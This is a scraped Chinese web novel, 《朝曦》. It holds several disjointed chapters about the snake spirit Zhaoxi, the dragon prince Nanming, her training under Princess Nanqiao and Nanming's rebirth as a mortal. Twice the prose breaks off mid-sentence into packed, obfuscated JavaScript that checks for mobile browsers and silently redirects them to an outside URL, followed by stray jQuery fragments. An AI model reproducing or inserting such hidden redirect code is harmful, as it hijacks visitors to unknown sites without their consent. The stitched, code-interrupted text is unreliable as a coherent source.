“这样比较方便。”她想这样便能与南溟继续做兄弟了吧。 “也是,你以女子相示人,那二位难保不会再来寻你麻烦,不如这样省事一些。” 说到麻烦,她还真的不懂,那两位到底哪来的火气上来就要致自己于死地。“我倒晓得这二位钟情于你家殿下,但不明白我做了什么,让她们这样痛下杀手?” “你……真的不明白?” “不明白便是不明白,怎么还有真的假的?” 见机摇了摇头,大约是想说,一副惊为天人的相貌却匹配了一颗甚不灵慧的脑袋,实在可惜,但造物总有缺憾,所以不能勉强。 “一则,殿下的白莲从来都是自用,便是南原大殿下重伤而归,也未沾过半分。二则,你近日时时跟在殿下身边,得殿下照拂,突然变了个女身,还亲自为你取了名字,她们自然不忿。三则……” “三则什么?” “三则,偏你这容貌又生的过于光艳,姿色天生,莺惭燕妒,她们又岂能不忌惮?” “你可否说的简单一些?” “呃……殿下待你极好,而她们这些年里,所得到的注视远不及你万一。”见机说的诚诚恳恳,不容有疑。 想了想,南溟的确待自己不错。“可我待你们殿下也是极好的呀?你知道我为从魔境救出他们……罢了,同生共死的兄弟,说这些便见外了。只是那条鱼实在太没良心了,我救了她,她却恩将仇报,早知道让她泡在壶里,酿成鱼骨酒……” “……”见机哑然失笑:“你与殿下,还真是缘分深重。说来也是奇怪,六界各族无不嫌恶蛇族,唯有我们殿下,似与蛇结了不解之缘一般,你可知道他曾经偷偷养了一条小蛇作灵宠?为那小蛇他可费了不少心思,就连最后它死的时候,殿下差些为它拔了东海二殿下的一身鳞……” “死了?”她不太明白,他为什么会以为自己死了。“与那般颉有什么关系?” “说是那灵宠让般颉给炖了,殿下当时便拔了他几片鳞,若非雾仪山的神仙阻止,只怕东海与南海要结仇了……” “这般颉的脑袋壳里怕是被雾仪山给净化干净了吧?”自己好生生的活着,般颉锅里的自然不是自己,那他炖的又是哪个? “若真如你所说,倒也好了,只是这位老兄像是生来与我们殿下作对的,此番若不是他上天界……”见机忽然止语。 “他上天界做什么了?” “这……不便说与姑娘你听。” “有什么不便的?”她分析道:“该不会是去抢功了吧?当日在九黎,他可是当了逃兵的……” “何止抢功?这位扭曲事实,不但将殿下的功劳给占了,还险些……”意识到自己失言,见机慌忙用双手捂住嘴。 他一向沉着,今日却屡屡有失,朝曦联想到南溟去了七八日才回,猜想事情定不简单,于是便咬住青山不松口般的追问,强行追问:“怎么说我与你们殿下同生共死也好多回了,连这点信任都没有吗?他连白莲都许我用,还有什么是不能让我知道的?要不是他事多繁忙,我便直接去问他了,还需你在这支支吾吾,结结巴巴,吞吞吐吐???” 她环手而立,昂着脑袋佯装生气。 岂知见机回道:“此事正是我们殿下嘱咐不许说给你的。” “什么?” 他重重点了点头。 “那我便只能亲自去问般颉了。”话音未落,她便转身要走,见机见状连忙跑到她面前挡住,半是劝说半是恐吓道:“虽都是龙,可那老兄却不同我们殿下慈祥,说不好当场斩了你也是有的!” 慈祥?她内心尴尬的笑了笑。 “牺牲我一个,幸福千万家,他若真如你说的这般恶劣,我全当为民除害了……你只告诉殿下,我与他只能来世再做兄弟了!” 一股蛮力将见机挣开,她愤愤的向殿外走去,而见机意识到告诉她和告诉南溟她的噩耗哪一件更严重后,便立刻服下软来:“朝曦姑娘,我来告诉你!” 一只脚已经她出宫门,她还在想另一只要如何磨蹭,还好,自己这出完美的戏打动了见机。 “请说。”她摊了摊手。 “……那般颉趁殿下回来养伤,同他父亲先一步跑去天界帝君面前,不仅抢占了进入九黎魔境之功,还污蔑殿下和亦棠公子与魔族人勾结,所以才能从魔境里全身而退,殿下上天界澄清此事,事情原本有须有尾,只要如实说出是朝曦姑娘你挺身相救便可,但是殿下却怎么也说不出是如何从魔境中出来的,本能靠着这桩事扬名六界,如今却弄成这种局面……” “然后呢?” “天界的人一听与魔族勾结,也不问明前因后果,当时便软禁了殿下,若不是殿下和亦棠公子据理力争,加上天界多少顾及神君的功勋,不然还不知是什么状况……” “潦清可以作证啊?” “那位?”见机摇头冷笑:“说的是怎么怎么钟情于殿下,实际上审视利弊比谁都精明,她不敢开罪东海,自然也就不存在作证这一说。” “这世道,连一条鱼都如此现实……”话中意味尽是嘲讽,夹杂着些许失落,忧怅,南溟他不供出自己,便是再愚笨的人也猜的出,他是在护着自己,那班神仙若是知道,自己一介小小蛇妖能杀了黑蓬,平安出入九黎魔境,还顺了神器九黎壶,哪还容得下自己存于六界?朝曦想,若是再跟在他身边,怕是真的会拖累死他。 托他办的事已经完成,这南海龙宫真的不能多留了。 南溟从南原殿中出来后,见朝曦换了一身珊瑚色纱裙,端坐在一张摆满了菜肴的食案前,且看这扮相温柔娴静,难得的乖巧温顺相,他以为是自己幻觉便揉了揉双眼,但看那红衫女孩露出呲牙咧嘴的笑容,忽感上当一般。 “这是何意?” 她提溜着裙裾小跑过来,拽着他坐到案前:“为殿下接风洗尘,顺便让殿下尝尝我的手艺,对美食也好有个标准。” “标准?” “是啊,上次殿下所变幻的鸡鸭鹅虽说很好,但相比于真正的美味,不免有些姿色平庸了些,您尝尝我做的,也好知道,吃饭也是一件让人快乐的事。” 吃饭让人快乐?南溟感觉自己的五脏六腑都在笑:“我志不在此,除非你将自己煲了,我倒……” 不能等他说完,她便端着一盘黑黝黝亮油油的菜送到他面前:“殿下尝尝这个。” “这是何物?” “爆炒泥鳅。” “……”看着盘中小虫还在蠕动,南溟浑身一紧,神色凝重的质问她:“你确定是爆炒么?你看它们且还活着?这要如何下咽?” “当然是爆炒。”怕他不信,朝曦索性捏起一只放到嘴里,嚼的十分带劲:“正是这样才说明是新鲜的,咬在口中别有一番滋味,殿下只要尝过,便再也忘不了。”说着,又捏起一条,欲往南溟嘴里送。 “别拿过来!”那张从来都很笃定的脸上难得出现惊恐,他将嘴巴捂的严丝合缝,生怕她寻了个机会给他塞进口中。 “殿下不爱吃泥鳅?那试试这个?” 一盘香香粘粘的肉食推到他眼前,南溟嫌恶的看它一眼:这又是什么?” “小炒青蛙。” “也不喜欢?这些呢?”她指着各个菜盘一一介绍:“油炸蝎子、麻辣蜈蚣、油炸蝉蛹、爆烤蝼蛄……” 南溟终于忍无可忍,一袖子将这桌"怪虫"变去不知何处,看着自己亲手做了一上午的饭菜就这么被他变没了,忍不住大为恼火,保持了半个时辰的娴静形象最终破功:“你怎么这么不知好歹!这可是我辛辛苦苦做的!你知道我寻到这些虫子有多不容易么?我生平第一次给别人做菜,你说变走就变走,懂不懂得尊重别人的劳动成果!考没考虑过我的感受!虫子的感受!” “……”虫子都被做成菜了,哪还有什么感受?看着她火冒三丈的样子,他想笑却不敢显色于脸上,只能委婉解释道:“ 18. 拜师 《朝曦》全本免费阅读 天地君亲师,仁义礼智信,在这个尊师重道的世上,师徒或许是一种负累,南溟勘透于此,所以决定不束缚于此。 三言两句,外加送了一套白玉冠作为生辰贺礼,南乔定定看了他许久,终于对收徒一事有所松动。 “你凡事尽善尽美,她生的好看,当你徒弟必不会折了你的面子,不过我有一个条件。” “你求我办事,还跟我提条件,有没有搞错?” 对于南乔的疑议,南溟完全没有听它入耳:“也不指望你将她教的出类拔萃,你只上心一些,带她脱离妖道早登仙界便好。” “我也不是终日无所事事,其实我也很忙……” “若能入个仙籍得个名号自然更好。” “你当姐姐我是你的老佣人嘛?以为什么事送点礼物便能贿赂于我?”她的藕白指尖轻轻抚过那精雕细琢的冠,触感冰凉细腻,脸色虽不为所动,心中却啧啧称赞此物多么的世间难寻。 “这白玉冠可是雾仪山的深谷玉石,说受万年仙泽滋养毫不为过,且这雕工,你以为你近水楼台便能随意得到吗?这些年你可见过我亲自雕过什么给谁?你若不喜欢,我送别人去。” 南溟脾性素来果决,当即收了白玉冠起身欲走,南乔一改颜色,脸上的高傲消失的无影无踪:“弟弟,有事好商量。” “不能委屈姐姐,我还是去找别人吧。” “不不不,委屈我,尽管委屈我吧!!我可是照看你长大的亲姐姐,弟弟有事不交给自己姐姐,求到别人头上算怎么回事?这若传出去,岂不成了笑话。” 动之以宝石晓之以美玉,素来是拿下南乔最好的利器,南溟勉为其难道:“那我方才说的几个条件……” “全部照办,保证完成任务!” 南溟嘴角浅浅泛起一丝笑来,他这姐姐,倒是同朝曦一般,是个徒有美貌却心思单纯的傻大姐。 朝曦正在南溟的书阁里闲逛,知命匆匆忙忙的找了来,看他脸色急赤的模样,可以想见他找了好久。 “我的姑奶奶,总算找到你了,你师父传你过去,快些同我走吧。” “我师父?是哪个?”她拍了拍脑门,忽然想起:“公主,看我这记性,你们殿下办事效率还真是快。” “那是当然,公主最疼殿下,从来殿下说要星星,便没有拿月亮搪塞的道理。” “那……你们公主,可好相与?”上次只是一面之缘,并不能看出一个人的脾气秉性,拜了师,很长一段时间就要跟着她,总得摸清楚这位师父的一应习惯才好。 知命看她一眼,缓缓浮出诡异一笑,虽未开口,但脸上神色分明写出,祝你好运,四个大字。 “到底是怎样呢?” “你也别太担心,我们公主这个人吧……” 知命故意卖关子,听的朝曦一脸紧张。 “只是脾气大些,年纪大些,恨嫁一些,别的倒没什么。” “那脾气大到什么地步?” 知命没有再说,但她能从他微颤的双肩看出,公主们通有的病症,公主病,南乔不但有,或许还甚与常人。 二人到了南乔的公主殿,迎面碰上刚从殿里出来的凝歌,她看着朝曦一脸的鄙夷,虽未说什么,但连知命都猜的出,该说的不该说的,她大约已经在南乔面前说完了。 “祝你好运。”知命撂下她和这美好祝福,便迅速闪人。 她浑身一紧,到底还是硬着头皮走进殿中,不同于南溟宫殿的古朴庄重,整个公主殿皆是珠宫贝阙,园子里浮光流动暗香疏影,栽种着闻所未闻,更不曾见过的花草树木,豢养着只有在传说中才出现的异兽飞禽,而殿中陈设着的稀世珍宝,悬挂着的名家画帖,更是不可估数,一一下来将整个殿堂加持的有如天宫,可谓奢靡。 一个面色不太和善的女侍前来引她,见朝曦对园中的异兽显有兴致,便叮嘱道:“这些花草异兽,珍稀非常,很是娇贵,是公主经过数万年的拜访仙山名岛搜寻而来,你不可妄动,若是损了它们一星半点,后果自负。” 试想自己的真身在这些阿猫阿狗面前,实在不堪一看,若是损,也只能是自己被这群宝贝吃了或踩扁,事实显而易见,却不可反驳,想了半天也只能吐出一句:“公主好身家。” 南乔慵懒的仰在一张琉璃贵妃榻上,朝曦拜了半天才见她醒来,这一醒,颜色果然不似之前那般亲切和善。 “传了你许久,怎的这才来?我这一觉都醒了。” “呃,我在殿下书阁转了转,知命一时没有找到我,所以才耽误了。” “哦?南溟的书阁你也是想进就进,看来还真是特殊……不过话说回来,净世白莲都准你用了,又何况那书阁。” 自打南溟许自己用了那朵白莲,像扎了好些人的心肝肺,潦清和凝歌自不必说,现在连公主都这么不满,试想在一个有成见得人手底下讨生活,哪会容易。 “我道行低微,殿下定是怕我一口气上不来死了,才破例许我用那白莲养伤。” “这些话你哄一哄旁人便罢了,想瞒我,恐怕还要再历练些岁月。”南乔端起案上的墨玉茶盏,浅浅嘬了一口,抻了抻身上的乏懒,又道:“我虽应了南溟收下你,可也得看看你的品行资质,我南乔在六界也算有些名声,若此番招了一个扶不上墙的阿斗,抑或心机深重之人做徒弟,怕要被别人笑死……” “可阿斗好像并不是大家以为的那样无能啊?” 她总是领会不到重点,南乔咬牙切道:“愚钝,我将你要做的事已经吩咐给了花奴,你随她去做便是。” “是。” 花奴便是方才引她进来的那个女侍,也是南乔殿里的掌事女官,朝曦依命去她那领了差事,共三件,头一件便是洒扫庭除,这听起来是件十分日常,再简单不过的事,然而公主殿偌大,摆设陈列又多,所以清扫起来颇费功夫,何况要做到花奴说的,窗明几净,一尘不染,毫发无损。 乌榆林从来都是以天为盖地为席,打扫这等麻烦又多余的事,从来都是勤劳的宝芝在做。所以,尽管朝曦万般小心,千般注意,还是打碎了几只瓶盏,放跑了几只水兽。 南乔的气愤可以想见,但为着不得罪南溟,到底没按照自己的意愿将她谴退了。 朝曦松了口气,以为就这么混过去了,没成想这第二关更是难之又难。梳妆?她嘴角微一抽搐,想自己才幻人形不久,多数时间又以男相示人,便是那头顶上的一团髻子也要摆弄许久,何况女子的诸多发式红妆?对方若是花奴便罢了,可南乔……这无异于太岁头上动土,老虎身上拔毛。 她思着,若诚实招了说自己不会,那又太折南溟的面子了,于是,花奴询问她可善梳妆时,她夸了生平第一次海口,吹了人生头一遭大牛,绘声绘色的将自己包装成了一位梳妆小能手。 “一会我要去北海,给我梳个庄重些的发式。”镜子里的南乔睡眼惺忪,连连打着哈欠,看的早早起来的朝曦困倦不已。 “庄重到什么地步?” 南乔眯着眼,好一会儿醒过神来:“务必显出本公主的高贵威严和美艳无双来。” “公主即便清汤挂面也是艳绝六界,无人能比。” “是吗?那你也得给本公主弄出一套像样的妆发来。” 她好像看透了自己,朝曦无意的瞟了一眼南乔鼓蓬蓬的胸部,尴尬的咧嘴笑了笑,都说胸大无脑,看来也不尽然。 “好,我一定竭尽全力。” “你确定你行吗?”南乔从镜子里打量着这个容颜超俗打扮却很朴素的女孩,猜想她的品味也不会好到哪去。 朝曦想了想,虽未上过手,但从前没少见丹妩描黛画红,束髻绾发,且每每下来总能得到大家伙的赞美,自己只依着那般下手应该不错。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915043|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我,我来混进去。”她信心十足,拍着胸脯道:“原本我就想借机寻找的,不过尚未来得及行动,便得到了亦棠君你的营救。” “可你如何分辨是她的东西呢?” “这倒是个问题,再者我知道,那探缘梭也不是轻易借的出来的。”一切计划落到实处,总是处处阻碍。 “我愿意为你一试。” 听闻此话,朝曦立刻端正站好,谦逊的行了个礼,以示郑重:“我一定是前世修的好,才遇见亦棠君你这么好的人,待这些糟心事解决了,我一定要为亦棠君你做些什么,以酬谢你的恩义。” 亦棠颜色舒展,这种开朗笑容在他脸色从不多见:“图求回报不是君子所为,可我很好奇,你想为我做些什么?” 她想了想,报答别人自然要往他最需要的地方去做,结合自己的所长,倒很快有了想法:“你还没有订亲吧,我有打算办一个姻缘所,无偿为你寻一位好看和善又会持家的老婆。” “……”方才的笑容立时滞住,亦棠有些哭笑不得,尴尬说道:“多谢朝曦你的美意,我一时半会儿,没有娶妻的打算。” “怎么能不娶妻呢?不孝有三,无后为大,在凡界里这样可是要断了自家香火的,断香火在神仙看来,不是顶顶了不得的事吗?” “此香火非彼香火,神仙若同凡人一样,有那么多的世俗观念,执念,谁还费劲修仙做什么?” “当一个孤独的神仙,和一个逍遥快乐的神仙,是两种截然不同的概念,既然都是长长久久的活着,为什么不活的快乐一点呢?” “我们都还年轻,何况南溟也还没娶。” “你等他做什么,殿下生就一副桃花相,定是上一世攒下了许多情债,要还清这些恐怕要费些时候,可你不同,你为人敦厚老实,一定一定要寻一个同样纯粹老实的人,方不负你。” 亦棠对她的这番歪理不太认同,又不知该如何反驳,想了想才反问她说:“朝曦你既然熟知凡界的习惯,那可知凡人有句话,愿得一心人,白首不相离,你知道这个一心人,是什么意思?” 一心人?她摇了摇头:“不知道。” “那你可有想舍弃一切,也想要与他厮守的人?” “我生来孑然一身,本来就什么都没有,何谈舍弃?亦棠君百般推拒,又如此问我,难道是你有了一心人?” “我……” “是哪家的姑娘?你告诉我,我可前去替你说一说?” 亦棠看着有些难于启齿,朝曦靠近他脸前,对这神色紧紧盯视细细琢磨:“难道已经私定终身了?” “我……南溟那样的性子,容不下潦清一句废话,对你却如此包容,可见是披心相付。” “是啊,照道理说我也应该好好报答殿下,不过可惜,他的婚事大概是有了定论,以后再找机会吧。”朝曦不知道自己的神情就这么失落下来,心里有种怪怪的感觉,说不通也想不明。 “我会先派些人去各界寻找遗孤的痕迹,不到没有办法的时候,你还是不要以身犯险去洞庭,在咱们找到线索前,你最好在乌榆林待着,今日是妖界的人我们还能拦一拦,若是天界,谁也没有这份本事,话说,你们那林子我看也不是个安全之地,否则也不会好好的被引去洞庭了。” 朝曦认可的点了点头,自妖山之后她心头一直有个疑问,总想寻机问一问南溟,可又怕他呵斥自己,现在问亦棠也是一样的。“假如,我是说假如,我被天界抓去了,后果会怎样?” “呃……” “亦棠君,不要照顾我的心情,你就如实说吧。” “十年生死两茫茫,不思量,自难忘,千里孤坟无处话凄凉。” 听此话,心凉了半截,落到天界人手里,毫无生路可言。“我真是过了今天不知道有没有明天啊。” 51. 下凡 与亦棠告别后便进了林子,迎面遇上了正要出去的庚酉,两人一个垂头丧气,一个精神抖擞,阴阳两极,鲜明的很。 “我们朝曦,可是又遭了什么难了?” 她很无奈,看来大家对自己逢出必难,遇难又能呈祥的日常已经了然于心,见怪不怪了。她点了点头:“你这是去哪儿逍遥?” “逍遥且谈不上,只是去找一找乐子。” 庚酉又打开那把羽毛扇子,也不管合不合季节,他总要将此道具发挥其功用,显出一副公子哥的作派来,好让人觉得他很风度翩翩。 “乐子?你要去凡界?” “正是。” 提到乐子,稍有些下凡经历的人都知道那是凡界才有的东西,朝曦更是耳闻过许多年,所以不须多思,便脱口问道:“是怡红院还是万花楼?” “污秽,低俗。”庚酉气得合上扇子,板着一张脸开始谆谆教诲起她来:“乐子只能是那样的勾栏瓦舍之地才能有吗?你跟了南海姐弟许久,竟不见有一丝长进......” “公主说过小赌怡情,大赌伤身,只要不过份,赌一赌完全没问题。” “呃,你说的是赌钱啊?” “你说的是什么?”朝曦将眼睛瞪得溜圆,满脸好奇。 庚酉岔开问题,反问:“可哪有赌坊叫怡红院万花楼的?这些在凡界,可是.......” “谁规定赌坊不能叫怡红院万花楼?你是没见过如今这些店铺的名字,一个赛一个的奇怪,有个叫呼儿将出换美酒,与尔同销万古愁的,你猜是什么?” “酒馆?” “当铺。” “啊?” “啊什么?人家是叫你换,不是卖你酒。” “不管是什么,总归想不到当铺上去。” “世人常常说挂羊头卖狗肉,想来便是这样。” 庚酉原本不想同她说这些,可一听她所说,又实在好奇,便忍不住问道:“那青楼都叫什么?” “如今的青楼妓馆却一反常态,风雅的很,什么雅舍啊,兰筑啦,逼得那些瓢客们一个个装起文人雅士来,非得先来上一句衣带渐宽终不悔,才能入得闺房门,像对暗号一般,累极了。”朝曦絮絮说着倏忽想到他的话意:“哦,原来你说的乐子竟然是这个。” “非礼勿言,勿言。那若是去凡界,须得睁大眼睛瞧清楚了,否则走错了门可不好。” “倒也不必过分担心,一般还是趋于正常的,比如说一个叫‘见鬼去吧’的棺材铺,这个老板就很有想法,取的名字不但不落俗套,贴合他的货物,更是一则不动声色的活招牌,谁家死了人,总能第一个想到他。” 见鬼去吧?庚酉叉着腰笑了好一会儿,平复了情绪后不再同她闲扯,就要告辞,朝曦却张开双臂将他拦住:“你到底去找什么乐子?” “近日仙界有一拨神仙要下凡历劫,你知道没有比他们再食古不化的了,此番投胎为人,必定要出些洋相,如此好戏,焉能错过?” 凡有热闹,庚酉必是要凑上前去了解一番,故而一直以来,六界中很多不为人知的秘事,在他这却是闲话家常一般,只是他一个妖精如今竟然连神仙的洋相都敢看,不免膨胀了些。 “现如今连神仙们都纷纷下凡,看来仙界的日子的确是索然无味啊。” “有吗?我是真没看出,南溟这神仙当得索然无味。” “殿下?”闻听南溟的名字,打眼的困意立刻烟消云散。 “是啊,你的殿下此番在也下凡之列,怎么你不知道吗?” “这倒稀罕了,下凡历劫一向是没什么地位的小神仙们需要做的事,怎么他这条尊贵的龙也要去做那肉.体凡胎?” “自然是有说法的。” “什么说法?” “我怎么知道。” “那你知道什么?都说来听听。” 她饶有兴致的看着庚酉,一副不说出什么信息,誓不罢休的样子,庚酉备觉无奈,恐她纠缠便全盘托出:“这批神仙是雾仪山上报天界放去下凡历劫的,范老神仙声称浩劫将至,需得让他们多加历练,精进修为,以免大劫在前无力抵抗,天界自然是赞同并大力配合的,顺势也拨了一梯人跟下凡去。” “可他怎么没告诉我,是不是最近我又去了妖界,他生气了?”小声犯着嘀咕,不管去他几拨,朝曦关心的只有南溟的下落:“你可知道殿下投去了哪家哪户?” 庚西摇了摇头:“这种机密的事,怎么会让我知道?” “见机知命一定知道。” “怎么,你也要跟下凡去么?” 她认真的点了点头,完全顾不上周身的疲惫:“素常骄矜如他,下凡为人这么千载难逢的机会,我当然要去看看。” “不过这南海,如今不是我能去的地方了。”她嘿嘿一笑,语调神情莫不感到无奈。 “其实也不是没有别的办法。” “是什么?”她的双眼立刻凝聚起一丝闪烁,就像是晨曦花蕊上的露珠,晶莹清澈,将眼睛点缀的更加灵秀。庚酉神识一晃,片刻清醒后摇了摇头:“难怪你那殿下会如此另眼待你,可知以貌取人这句话是有些道理的。” “你不要将我说的是个徒有美貌的肤浅之人,殿下看重我,自然是欣赏我别的优点。” “他欣赏你什么?”庚酉不置可否。 “我很重义气,难道不是吗?” 这话倒是不假,虽然她不怎么聪明,但几次挽救乌榆林于危难的事实,让人不得不佩服她的勇气,仗义。 “你倒是说有什么办法呀?” “你不能去南海,自有能去的,阿甜是南海之人,可以在南海来去自如,宝芝同她很是要好,你可以让宝芝侧面打听一下。” 洞庭历险一回,差点把阿甜这条咸鱼给忘了。 “多谢庚酉君,你先下凡去吧,待我打听好了,便去寻你。”说着,便雀跃的向宝芝的房间窜去。 看着这欢快的背影,庚酉心头不禁涌上一阵感慨,吁叹一声后碎碎念道:“成日活在艰难险阻里,还能跟没事儿人一样,当真是没心没肺。” 相伴多年,一向除了吃就没旁的想法的蘑菇,就像是她的跟班,有吩咐自然唯命是从,阿甜在两人一通甜言蜜语之下,当夜就跑回了南海,不过不等她带回消息,朝曦便提前知道了,因为当夜,将要下凡的南溟,便潜入梦中告诉了她。 “朝曦,醒醒。” “殿下?”她揉了揉涩涩的睡眼,看见一身简单白衫的南溟:“你怎么穿的这样朴素?” “我要下凡去了,自然不须过多赘饰。” 怪不得,他一向对装束颇多要求,发冠上短了一只须子缺了一粒米珠都不可以,朝曦还奇怪这回怎么这么亲民了,原来是要投胎去了。 “殿下今夜便要去么?要去多久?去何方何地?哪家哪户?” 一气呵出这许多个问题,南溟没有半点不耐烦,还很真诚的逐个答她:“今夜便去,此番转世寿限为九旬零八岁,去的是中州小星国,至于门户,我给忘了。” “九旬零八岁?” 一个凡人活到九十八岁,算是长寿了,不过话说回来,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929348|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡的目的便是历劫增修,只活那二三十年当个短命鬼,能增到什么?还不抵北斗星君编写剧本的功夫,想了想,便觉得这岁数也没什么不妥。 南溟一眼看穿她所想,笑说:“你是嫌我活得长么?” “倒也不是,我只是觉得你要去历劫,这人生自然是不快活的,不快活的过这九十八载,不是很煎熬吗? 他点了点头,极少有过这种赞同:“那要看北斗星君笔下留情于否了。” “我们能不能去贿赂一下他们?” “为什么?” “人间有欢乐,人间也有痛苦啊,不瞒你说,我见过自刎上吊的,也见过饮毒吞金的,死相恐怖,悲绝异常,可见这凡人一生,是不容易的,我不想殿下你在凡间过得这么艰难。” “你倒很有良心,不过怎么从前没听你说过这些?” “这些不好的事,看一看就算了,总是记得容易影响心情。对了,殿下你爹爹杀伐征战,仇家不少,前有惊木的斩龙矢,后有玄霜姑姑的碧晶青棱,险些让你丧命,此番下凡,会不会又有别的仇家伺机去害你?” “各界有各界的法度,六合之中自有制约,你当凡人弱势,凡界便是异界生灵可以随意涉足滞留的?运术施法,干涉人命,数倍反噬不是开玩笑的。” 她忽然想到那时去凡界王宫,连南溟都敛起了周身法术,看来反噬并不是随便说说,果然是去了人家地盘,就要服从人家的规矩。 “这么说来,倒是比你在家中还要安全。” “你有空担心我,不如担心担心自己,天界已经将你列进妖匪之首,必定会在我下凡期间处置你,亦棠要忙着本族事务,分身乏术,即便略有松闲可以照拂你一些,也是不能公然对违抗天界的,而我下凡历劫便对这些再不能察觉,所以,我与姐姐商议好了,你随她去东荒修行吧,天界现如今还肯卖她几分面子,想来并不会强行拿你。” 的确没有比这再安妥的办法了,她转了转眼珠,想着跟着南乔,又得跟在她身边当个作小伏低的洒扫婢女,想想怎么都不太痛快,可是南溟大老远的跑了来,这么苦心孤诣的替她打算,实在不好拒绝,她只能虚与委蛇的点了点头:“多谢殿下。” “我这就要去了,明日月升时,南乔在海边等你。”素来不是拖沓扭捏之人,说话便转身要走,而朝曦却扯住了他的衣袖,神色不安。 “殿下。” “怎么了?” “我若真的修成了神仙,便能光明正大的跟着殿下了吗?” 他点了点头:“当然可以,不过我从没抱什么希望,你也不必勉强自己。” “为什么?” “你资质有限,又惫懒贪玩,若这样都能修成仙,你叫那些苦修千年万年的生灵情何以堪?” “......”默默垂下了脑袋,灼热感从脸颊红到耳根,无地自容。 “明知无望便不要白费周折,待我回来找老君求一颗丹,吃了成仙了事。” “真的?” “君子一言九鼎,我诓你作甚。” 成仙不是她心中所向,却不知道为什么这么喜不自禁,她欢喜的蹦着,双肘环住了他脖颈,直白的赞赏道:“殿下不是君子,是圣人,大圣人。” “夸大其词。”南溟摇了摇头,若在从前,这种粗鲁的言行根本近不得他的身,眼前这般,他非但默许,竟还有一丝,愉悦。“好了朝曦,下来。” “怎么了?” “误了下凡的时辰,会坏了大事。” 她连忙下来,乖乖站好:“殿下慢走,早去早回。” 52. 人生八苦 南溟说异界不可涉足凡界杀伐,是不是也可以表示,自己同他一样,去了凡界比在这里更加安全?如此说来,凡界安全又自在,自己放着舒服的日子不过,跑去南乔身边找虐,想想便不是很开心。 南溟走后,她便书信一封交给了弥斐,让他送去给南乔,她有把握,公主看到这位信差心生欢喜都来不及,再没功夫跟自己生气的。 软磨硬泡下,明知她企图的弥斐,不得不送了这一趟信。弥斐前脚才走,后脚她便往凡界去,只是才走到山下便有些迷糊,凡界是从哪去来着?她看着四个方向,后悔没有向庚酉问好路线。 “我知道路,不过你得带我一起去。” 她闻声看去,宝芝不知什么时候站在她的身后。“你什么时候来的?” “我跟了你一路了。” 这胖蘑菇,什么时候走路这么轻盈了。“你怎么知道路? “我向庚酉君要好了路线。”她拿了张画了图的纸在眼前晃了晃。 “这么说你早有预谋,不过你去凡界做什么?” “上次去凡界,我吃了半口里面灌有汤汁的小包子,至今觉得回味无穷,可惜遇到了南溟殿下没有吃完,我还想再去吃一次。”她恳切道。 “……”听起来好可怜的样子,朝曦捏了捏她肉肉的脸颊,满眼同情的点了点头:“这次一定让你大饱口福。 “我见过一种软糯香甜的小团子,也是很好吃的样子。”口袋里的小篱笆突然说道,朝曦轻轻拍了拍它:“我们虽然是妖,但也要胸有大志,不要成日只想着吃。” 三人摸索看行入凡界后,问题又来了,打探后中州并没有南溟说的小星国,朝曦眼看着天色见亮恐怕赶不上他降生的时刻,心中焦急,正来回踌躇,耳边忽然听到宝芝喊到:“流星,神仙!” 仰面望去,真的是一派仙气,一派很淳厚的仙气:“跟上!” 生怕跟丢,又怕被发现,二人小心翼翼的跟到了一片郊野,落脚于一片村落,趁着昏暗的天色隐约可见这处山居的贫瘠模样,有房百十户,歪歪扭扭拥挤不堪,泥墙破瓦混着枯枝茅草,看起来更像是牛棚马圈,说是非人居所,却有两三户装缮富裕的,突兀的插混在里面,不过却也只是矮子里面拔将军,不堪与正常说。 边末角落里,一户倒塌了半面墙的人家传出阵阵妇人叫声,朝曦来不及消化这恶劣的环境,急忙跑到了那户窗前,里面的妇人声嘶力竭,显然到了产子的最后一刻,可悲的是,这样的时刻,她的身旁竟然没有一个人。 “殿下不会真的转世到这家吧?”她想不通,像南溟那种颇有些身份地位的,怎么能下凡到这种人户? “怎么不能?罚处,还有选择的余地吗?” 身后的声音冷寂,虽只是简短的一句话,却充斥了十足的压迫感,二人紧张着,缓缓回头,一个气宇不凡的年轻男子正气宇不凡的站在她们身后,不苟言笑之外,颜色肃厉。 “罚,罚处是,什么意思?”朝曦磕巴问道。 “自然是朝曦姑娘你的功劳。” 他竟认得自己?朝曦仔仔细细的又将他打量一遍,原本只是眼熟,但看了看这周身的尊贵,可不是那日在南溟生辰宴上见过的,太子景羽? “太,太子殿下。”她赶忙拉着宝芝拜了拜,又问:“是我拖累了殿下?” “他几次三番维护你,无视天界的法度,整个仙族对此事沸议不断,你当他师门雾仪山的规矩是摆设?” “我……” “此番转世,便是范先生对南溟的罚,他这一生,要历劫磨难,受尽人生八苦方可结束。” “什么是人生八苦?” “生,老,病,死,爱别离,怨憎会,求不得,五阴盛。” 景羽的话像一只铁锥重重落在她的心头,她想到南溟会被自己拖累,但没想到会是这种。 “我可否替他?将这人生八苦从他的凡世抽离出去,我来承受。” 景羽眼神莫名的看着她,虽然没有只言片语,但她可以从中看出他的轻蔑,鄙夷,那浮现在嘴角的浅纹也在嘲笑她的不自量力,朝曦默默低下头,难过不安,然而事实本就如此,又分辩不出什么。 向来胆小的宝芝见她委屈如此,心中忿忿,打抱不平道:“你是什么殿下便很了不起吗?南溟殿下是多番维护她,可我们朝曦也没有白白受人恩惠,也是多次在危险关口舍命救过他的,这你怎么不说?神仙难道可以不分青红皂白?” 